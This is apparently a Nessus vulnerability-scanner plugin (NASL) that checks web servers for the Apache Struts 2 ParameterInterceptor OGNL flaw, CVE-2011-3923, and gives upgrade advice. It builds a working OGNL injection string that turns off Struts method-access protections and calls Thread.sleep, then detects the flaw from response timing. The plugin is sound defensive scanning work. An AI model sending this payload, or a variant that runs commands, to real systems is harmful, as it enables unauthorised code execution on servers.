The remote web application appears to use Apache Struts 2, a web framework that uses XWork. Due to a flaw in the ParameterInterceptor class, user input is not properly sanitized, which allows a remote attacker to run arbitrary Java code on the remote host by sending a specially crafted HTTP request.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(57850);
script_version("1.29");
script_set_attribute(attribute:"plugin_modification_date", value:"2023/07/17");
script_cve_id("CVE-2011-3923");
script_bugtraq_id(51628);
script_xref(name:"EDB-ID", value:"24874");
script_name(english:"Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution");
script_set_attribute(attribute:"synopsis", value:
"A remote web application uses a framework that is affected by a code
execution vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote web application appears to use Apache Struts 2, a web
framework that uses XWork. Due to a flaw in the ParameterInterceptor
class, user input is not properly sanitized, which allows a remote
attacker to run arbitrary Java code on the remote host by sending a
specially crafted HTTP request.");
script_set_attribute(attribute:"see_also", value:"http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html");
script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-009");
script_set_attribute(attribute:"solution", value:
"Upgrade to Struts 2.3.1.2 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2011-3923");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"d2_elliot_name", value:"Apache-Struts ParameterInterceptor < 2.3.1.2 RCE Linux");
script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Apache Struts ParametersInterceptor Remote Code Execution');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
script_set_attribute(attribute:"canvas_package", value:"White_Phosphorus");
script_set_attribute(attribute:"vuln_publication_date", value:"2012/01/22");
script_set_attribute(attribute:"patch_publication_date", value:"2012/01/22");
script_set_attribute(attribute:"plugin_publication_date", value:"2012/02/06");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2012-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl", "webmirror.nasl");
script_require_ports("Services/www", 80, 8080);
script_require_keys("Settings/enable_web_app_tests");
exit(0);
}
include("http.inc");
include("webapp_func.inc");
include("torture_cgi.inc");
if (! get_kb_item("Settings/enable_web_app_tests"))
exit(0, "Generic web application tests are disabled.");
port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');
urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
foreach var cgi (cgis)
{
match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
if (match)
{
urls = make_list(urls, match[0]);
if (!thorough_tests) break;
}
match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
if (!isnull(match2))
{
urls = make_list(urls, match2[0]);
if (!thorough_tests) break;
}
match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
if (!isnull(match3))
{
urls = make_list(urls, match3[0]);
if (!thorough_tests) break;
}
if (cgi =~ "struts2?(-rest)?-showcase")
{
urls = make_list(urls, cgi);
if (!thorough_tests) break;
}
}
}
if (thorough_tests)
{
cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
if (!isnull(cgi2)) urls = make_list(urls, cgi2);
cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
if (!isnull(cgi3)) urls = make_list(urls, cgi3);
cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}
urls = make_list(urls, "/");
urls = list_uniq(urls);
secs = make_list(5, 10, 20);
vuln_actions = make_list();
foreach var dir (urls)
{
# find a list of args to test against
cgi_args = get_cgi_arg_list(port: port, cgi: dir);
foreach var arg (cgi_args)
{
# assume the action is vulnerable unless proven otherwise
vuln = TRUE;
for (i = 0; i < max_index(secs) && vuln; i++)
{
millis = secs[i] * 1000;
ognl = arg +
'=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]' +
'%3D+new+java.lang.Boolean(false),' +
'%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d' +
'+new+java.lang.Boolean(true),%20'+
'@java.lang.Thread@sleep(' + millis + '))(meh)&z[('+arg+')' +
'(%27meh%27)]=true';
url = dir + '?' + ognl;
http_set_read_timeout(secs[i] * 2);
then = unixtime();
res = http_send_recv3(
method:'GET',
item:url,
port:port,
exit_on_fail:TRUE
);
now = unixtime();
# if it looks like this action isn't vulnerable, move on to checking
# the next one
if ( now - then < secs[i] || now - then > (secs[i]+5) ) vuln = FALSE;
}
if (vuln) break;
}
if (vuln) break;
}
if (!vuln) exit(0, 'No affected applications were detected on the web server listening on port '+port+'.');
if (report_verbosity > 0)
{
report = get_vuln_report(
header:
'Nessus determined a struts 2 application is vulnerable by\n'+
'forcing it to sleep() before sending the server\'s response.\n'+
'This was verified using the following URL :',
trailer:
'Please note Nessus stopped after detecting the first vulnerable\n'+
'application. Others may be affected.',
items:url,
port:port
);
security_hole(port:port, extra:report);
}
else security_hole(port);